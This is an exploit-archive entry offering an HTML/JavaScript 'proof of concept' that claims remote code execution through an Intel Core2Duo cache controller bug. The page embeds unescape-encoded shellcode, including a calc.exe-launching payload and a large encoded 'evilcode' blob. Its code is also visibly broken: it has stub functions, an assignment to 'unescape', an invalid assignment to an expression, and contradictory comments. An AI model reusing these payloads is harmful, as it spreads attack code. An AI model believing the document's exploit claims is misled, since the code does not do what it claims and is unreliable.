Intel Core2Duo cpu cache controller bug PoC



EKU-ID: 2455 CVE: OSVDB-ID:
Author: S4(uR4 Published: 2012-07-16 Verified: Verified
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'''

#
# Name      : Intel Core2Duo cpu cache controller bug PoC
# Date      : july, 14 2012
# Author    : S4(uR4
# Platform  : all
# Type      : remote exploit
# Web       : www.r00tw0rm.com
# Email     : satsura@r00tw0rm.com
# Credit and special thanx : Selena, nezumi
# Tested on : Intel Core 2 Duo T5750, Intel Atom N270
# Special thanks to :  r0073r, r4dc0re, Sid3^effects, L0rd CrusAd3r, KedAns-Dz, Angel Injection, gunslinger, JF, CrosS (1337day.com)
#                      Xenu, Versus71, alsa7r, mich4th3c0wb0y, FInnH@X, th3breacher, s3rver.exe (r00tw0rm.com)

-->

<html>
 <head>
  <title> CPU cache controller bug exploit (Remote code exec mod poc)</title>
 </head>
</html>

<body>
<script type="text/javascript">

var microcode = 257;
var N_CORE = 4;
var XXL = 9*1024*1024;
var buf = 9437185;

var p = {};
var bug;
var result;
var n = {};
function init_c(){};
function engine(p, n){};

function test(result){
// debug: testing micro-program for the old vm, does not work now
// latter comment 1: oh. my! it works! wow!
// latter comment 2: it works, but it does not what it's expected to
// dw buf[]={1,-3,0, -6,9,1, 13,-67,2, -69,96,3, 1,-1,4,
// -3,3,5, 16,-27,6, -66,99,7, 55,-1,8, -1,-3,9, 0,-67,10};


// the infinite loop will be patched on the fly because of the Intel CPU bug
// addr of the test() func should be aligned by 4Kb boundary,
// 1st dword will be changed to NOP, NOP, NOP, NOP
// it's possible to change the kernel memory as well,
// two things:
// 1) alignment;
// 2) the code is currently executed;
//
// engine() obtains the address of test(), but does not check it,
// so if you replace it, you have to check the conditionals above by yourself.
// also the content to overwrite. if you want to change data memory
// it's supposed to be in the cache as well.
/*

ASM:
        .text
.globl main
        .type   main, @function
L1:
        xorl %ecx, %ecx

main:
        pushl   %ebp
        movl    %esp, %ebp
        popl    %ebp
        loop L1
        ret
        .size   main, .-main

DISASM:

080483b4 <L1>:
80483b4: 31 c9                 xor    %ecx,%ecx

080483b6 <main>:
80483b6: 55                    push   %ebp
80483b7: 89 e5                 mov    %esp,%ebp
80483b9: 5d                    pop    %ebp
80483ba: e2 f8                 loop   80483b4 <L1>
80483bc: c3                    ret   
80483bd: 90                    nop
80483be: 90                    nop
80483bf: 90                    nop

*/
 unescape('%u31C9%u5589%uE55D%u2EF8%uC390%u9090');
 return 0;
}

 

function ThreadProc(lpParameter){
 engine(buf, microcode*3);
 return(0);
}


function ThreadProc_dbg(bug){
 var result = 1;
 test(result);
 if (result != 1){
  document.write("<h1>[+] your CPU is buggy!<h1>");
    }
 else{
  document.write("<h1>[-] your CPU isn't buggy!<h1>");
  //eueeuereturn(0);
 }
}


function microcode_vm(){
 var evilcode = "6B70%u6E63%u2066%u6F72%u204A%u442E%u2066%u6F72%u2049%u6E74"+
 "%u656C%u2043%u6F72%u6520%u3220%u4475%u6F20%u5435%u3735%u300D%u0A28%u6329"+
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 "%uA3FF%uFFFF%uA7FF%uFFFF%u0100%u0000%u0200%u0000%u0A00%u0000%u0200%u0000"+
 "%u0100%u0000%u0900%u0000%u0300%u0000%u0400%u0000%u1400%u0000%u0400%u0000"+
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 "%u1700%u0000%u3300%u0000%u0D00%u0000%u0E00%u0000%u3600%u0000%u0E00%u0000"+
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 "%uD300%u0000%u1701%u0000%u1100%u0000%uF201%u0000%u3A02%u0000%u1200%u0000"+
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 "%u757F%u0000%uAD82%u0000%uEF00%u0000%u08FF%u0000%u2801%u0100%uF000%u0000"+
 "%uF3FC%u0100%u37FF%u0100%uF100%u0000%u1201%u0000%u1A03%u0000%uF200%u0000"+
 "%uD100%u0000%u5903%u0000%uF300%u0000%u5401%u0000%uC404%u0000%uF400%u0000"+
 "%u4F07%u0000%uDB0A%u0000%uF500%u0000%u760F%u0000%uAE12%u0000%uF600%u0000"+
 "%u3D1F%u0000%uD522%u0000%uF700%u0000%u003F%u0000%u1041%u0000%uF800%u0000"+
 "%uFB7C%u0000%u1F7F%u0000%uF900%u0000%u0A01%u0000%u0203%u0000%uFA00%u0000"+
 "%uF900%u0000%u1103%u0000%uFB00%u0000%u1C01%u0000%uEC04%u0000%uFC00%u0000"+
 "%u0707%u0000%u0309%u0000%uFD00%u0000%uFE0C%u0000%u060F%u0000%uFE00%u0000"+
 "%u0501%u0000%uFD04%u0000%uFF00%u0000%uF806%u0000%uF808%u0000%u0001%u0000";
 unescape(evilcode);
}

/*
// THREATED IMPLEMENTATION
function init(){
 document.write("<p>[!] Exploit Running</p><br>");
 document.write("[+] Loading micro-program");
 microcode_vm();
 var a, id, handle;
 var size = 111;
 document.write("initializing XX thread...");
 
 for (a=1; a < N_CORE; a++){
   //code should be written for debug.
 }

}

*/

function vm_engine()
{
 var a, dw, f1, f2, f3, fn, f0 = -1, dt = 0;
 for(;;){
  microcode_vm();
  f1;
  unescape = (p + ((dt++) % n));
  f2 = (p + ((dt++) % n));
  f3 = (p + ((dt++) % n));

  // vm + scrambler + dynamic encoder + multi-pass obfuscator
  fn = -1 ^ (f1 ^ f2) + ((dt + f1) ^ f2) ^ f0;

  // a few minutes to trigger this condition on 2.4 MHz PC
  if ( ((f1 ^ f2) == 0) || (f1 ^ f2 ^ f3) == 0)
  {
   // a sync problem. it would be better to use locks over here.
   // crash happens. crash is not shit. crash means code works.
   // so, should be really care about the addr and the content?
   // it works for Intel Core 2 Duo T5750. o_o 5 ~ 10 minutes of
   // it gives BSOD on Intel Atom N270 cpu o_o less than an hour
   f3 = test(result); f1 = unescape("%u9090%u9090") ^ f0 +
   // Shellcode Calculator
   unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800"+  
                     "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +  
                     "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +  
                     "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +  
                     "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +  
                     "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +  
                     "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +  
                     "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +  
                     "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +  
                     "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +  
                     "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +  
                     "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +  
                     "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +  
                     "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +  
                     "%u652E%u6578%u9000"); f2 = test ^ fn;

   document.write("<br><br>w00t! w00t! u g0t r00t ?!<br>");
  } (p + (f3 % n)) = fn; f0 = fn; /* f0 = fn ^ dt */ ;
 }
}

function demo()
{
 var n;
 document.write("HITB 2008 missing exploit :=) by Selena<br><br>");
 document.write("micro-code is written by Selena<br>");
 document.write("virtual machine is designed by Selena<br>");
 document.write("virtual machine is designed by Selena<br>");
 document.write("virtual machine has been rewritten by nezumi<br><br>");
 document.write("exploit PoC rewritten by S4(uR4 for remote atack demo 2012<br><br>");
 //setTimeout(9000);
 document.write("[!]<b> Exploit Running");
 vm_engine(); //if (n == 0) { init_t();} ;
 //if(result != 0){
  document.write("<br><b>[+] Done!");
 //}
}

 

</script>
<h1>CPU cache controller bug exploit Remote code exec mod</h1>

<button onClick="ThreadProc_dbg(bug)";><b>&bull; Check vuln</b> &raquo;</button>
<button onClick="demo()";><b>PoC Run!</b> &rarr;</button>


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